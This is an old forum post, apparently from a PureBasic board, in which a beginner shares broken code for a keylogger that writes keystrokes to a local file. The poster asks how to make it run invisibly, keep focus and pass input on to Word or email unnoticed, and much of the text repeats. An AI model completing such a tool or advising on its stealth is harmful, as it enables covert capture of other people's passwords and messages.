KEYLOGGER v1. - WAAHHH! HOW DO I MAKE MY EXE TPYE STUFF....
Posted: Thu Sep 30, 2004 7:57 am
HI, thx for interest.
I am determined to write my OWN (!) keylogger,
and as newbies do they produce a lot of crapy code... here it is....
...aw....
good. so what it basicly does is it opens a window and if you type in stuff
and end the prog [ESC] you get a message that tells you what you typed in.
It is supposed to output your input to a file (via If CloseFile(0)), but
that does not work!
WHY?
The biggest challenge:
While my logger is running (invisible in background) it gets all the
keyboard input,
but it does not pass on the input to the program (e.g. word, email prog...)
actually used by the user.
Anyone an idea how i can make my proggy type stuff into word? PLEASE!!!
To make the proggy invisible is no problem for me (I will do that in the
very last stage)
Another challenge:
I did not test that but i guess, the program needs to have permanent focus
to recieve the keystrokes.
So:
1. write input to file
2. pass on input to word
3. permanent focus even if another program is in front (!?)
crypt0night appreaciates your help and hope this topic is not forbidden,
thx.
I am determined to write my OWN (!) keylogger,
and as newbies do they produce a lot of crapy code... here it is....
Code: Select all
;{- INIT
InitKeyboard()
Height = 200
Width = 200
x = 200
y = 200
;}
If OpenWindow(1, x, y, Width, Height, #PB_Window_SystemMenu, "TITLE") = 0
EndIf
Repeat
EventID.l = WindowEvent() ; CloseButton - without WaitWindowEvent()
this line program is FREEZES, got it from 2ddrawing.pb
ExamineKeyboard() ; you need that to make the winow respond to your
keystrokes
OpenFile(0,"E:\Neuer Ordner\PURE BASIC\KEYLOGGER\output.txt") ;
creates a new text file in memory
String$ = String$ + KeyboardInkey()
UseFile(0)
WriteStringN(String$) ; Nun schreiben wir einen Satz mit einen
Zeilenbruch am Ende
; If KeyboardPushed(#ReadFile(0,"E:\Neuer Ordner\PURE
BASIC\KEYLOGGER\output.txt")
;Wir lesen die datei pbtutorial.txt
; zeile$ = ReadString()
; wir lesen die Zeischen
; MessageRequester("Text","Text: "+zeile$,0)
; Nun zeigen wir die Zeischen an
; CloseFile(0)
; wir schliessen den file was nicht unbedingt sein muss da es PB automat.
schliesst
; Else
; wenn der File nicht gefunden wurde
; MessageRequester("Fehler","Konnte eventuell den File nicht finden",0)
; Fehlermeldung
; EndIf
If KeyboardPushed(#PB_Key_Escape)
EventID = #PB_EventCloseWindow
If CloseFile(0)
; wenn wir zuende geschrieben haben schliessen wir die file
Else
MessageRequester("WAHHH",Str(CloseFile(0))+" CloseFile Line 36")
EndIf
Goto Esc_End ; ends the prog
EndIf
Until EventID = #PB_EventCloseWindow ; until user pressed close button
Esc_End:
If CloseFile(0) ;
wenn wir zuende geschrieben haben schliessen wir die file
Else
MessageRequester("WAHHH","CloseFile Line 51")
EndIf
MessageRequester("TITLE",ReadFile()
; jaPBe Version=2.4.7.17
; Build=0
; FirstLine=21
; CursorPosition=54
; ExecutableFormat=Windows
; DontSaveDeclare
; EOF
good. so what it basicly does is it opens a window and if you type in stuff
and end the prog [ESC] you get a message that tells you what you typed in.
It is supposed to output your input to a file (via If CloseFile(0)), but
that does not work!
WHY?
The biggest challenge:
While my logger is running (invisible in background) it gets all the
keyboard input,
but it does not pass on the input to the program (e.g. word, email prog...)
actually used by the user.
Anyone an idea how i can make my proggy type stuff into word? PLEASE!!!
To make the proggy invisible is no problem for me (I will do that in the
very last stage)
Another challenge:
I did not test that but i guess, the program needs to have permanent focus
to recieve the keystrokes.
So:
1. write input to file
2. pass on input to word
3. permanent focus even if another program is in front (!?)
crypt0night appreaciates your help and hope this topic is not forbidden,
thx.